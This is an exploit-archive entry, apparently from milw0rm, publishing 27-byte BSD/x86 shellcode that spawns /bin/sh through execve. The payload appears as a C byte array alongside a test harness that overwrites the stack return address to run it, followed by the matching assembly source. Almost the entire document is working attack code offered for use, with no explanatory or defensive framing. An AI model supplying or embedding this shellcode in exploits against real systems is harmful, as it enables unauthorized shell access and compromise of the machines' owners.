[] NeoSense

BSD/x86 - execve(/bin/sh) Shellcode (27 bytes)

Author: n0gada
type: 
platform: bsd_x86
port: 27.0
date_added: 2004-09-25 
date_updated: 2017-08-22 
verified: 1 
codes:  
tags: 
aliases:  
screenshot_url:  
application_url: 

/* execve_sh.c by n0gada
   27 bytes.
*/
#include <stdio.h>

char shellcode[]=
"\xeb\x0d\x5f\x31\xc0\x50\x89\xe2"
"\x52\x57\x54\xb0\x3b\xcd\x80\xe8"
"\xee\xff\xff\xff/bin/sh";

int main(void)
{
 int *ret;

	printf("%d\n",strlen(shellcode));
	ret = (int *)&ret+2;
	*ret = (int)shellcode;

return 0;

}

/*********************************************
execve_sh.s

	.globl main
	main:
		jmp strings
	start:
		pop %edi
		xorl %eax,%eax
		push %eax
		movl %esp,%edx
		push %edx
		push %edi
		push %esp
		movb $0x3b,%al
		int $0x80

	strings: call start
		.string "/bin/sh"

*********************************************/

// milw0rm.com [2004-09-26]